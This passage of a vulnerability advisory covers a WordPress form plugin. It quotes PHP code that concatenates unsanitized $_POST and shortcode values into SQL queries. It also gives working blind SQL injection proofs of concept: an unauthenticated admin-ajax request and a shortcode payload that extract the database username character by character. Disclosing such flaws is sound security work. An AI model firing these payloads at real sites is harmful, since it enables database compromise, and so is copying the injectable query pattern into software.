3. Vulnerable code
---------------------------
 
Vulnerable File: include/wp_ajax_fm_form.php, lines 44 and 50
 
[...]
Line 28:  add_action('wp_ajax_fm_form', 'fm_form_ajax_func');
Line 29:  add_action('wp_ajax_nopriv_fm_form', 'fm_form_ajax_func');
[...]
Line 44: $result =3D $_POST;
[...]
Line 50: $form =3D $wpdb->get_row('select * from '.$wpdb->prefix.'fm_forms
where form_id=3D"'.*$result['fm_form_id']*.'";');
[...]
 
3. Proof of concept
---------------------------
 
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <web>
X-Requested-With: XMLHttpRequest
[...]
Cookie: wordpress_f30[...]
 
form%5Bemail%5D=3Dfake@fake.com&form%5Bimie%5D=3Dasdf&fm_form_id=3D1" and
"a"=3D"a&action=3Dfm_form&fm_form_referer=3D%2F
 
4. Explanation
---------------------
 
A page visitor can submit an email (fake@fake.com) to subscribe to the
formulary with fm_form_id=3D"1" and the JSON message received will be simil=
ar
to:
 
{"form":{"email":"fake@fake.com","imie":"asdf"},"fm_form_id":"*1*
","action":"fm_form","fm_form_referer":"\/?p=3D86","redirect":0,"status":"s=
uccess","message":"*Your
sign up request was successful! Please check your email inbox.*"}
 
The second time he tries to do the same with the same email the message
returned will be:
 
{"form":{"email":"fake@fake.com","imie":"asdf"},"fm_form_id":"*1*
","action":"fm_form","fm_form_referer":"\/?p=3D86","redirect":0,"status":"s=
uccess","message":"*Given
email address is already subscribed, thank you!*"}
 
If we insert *1**" and substr(user(),1,1)=3D"a *we'll receive either the sa=
me
message  indicating that the Given email is already subscribed indicating
that the first character of the username is an "a" or a null message
indicating that the username first character is not an "a".
 
5. Vulnerable code
---------------------------
 
Vulnerable File: include/shortcode.php, lines 27 and 120:
 
Line 19: function fm_form_func($atts)
[...]
Line 27: $form_value = $wpdb->get_row("select * from
".$wpdb->prefix.'fm_forms where form_id="'.$atts['id'].'";');
[...]
Line 120: add_shortcode('FM_form', 'fm_form_func');
 
 
6. Proof of concept
---------------------------
 
1. As collaborator, start a new post.
2. Insert the shortcode [FM_form id='1" and substr(user(),1,1)="b']
3. Click preview.
4. If the form is shown, the statement is true, if not, false.
